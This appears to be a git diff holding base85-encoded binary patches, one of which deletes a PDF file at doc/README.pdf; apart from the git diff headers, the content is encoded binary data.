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 diff --git a/doc/README.pdf b/doc/README.pdf deleted file mode 100644 index fd5e4f72a9580b8a78dc0a690c700e400c856f1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 494226 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 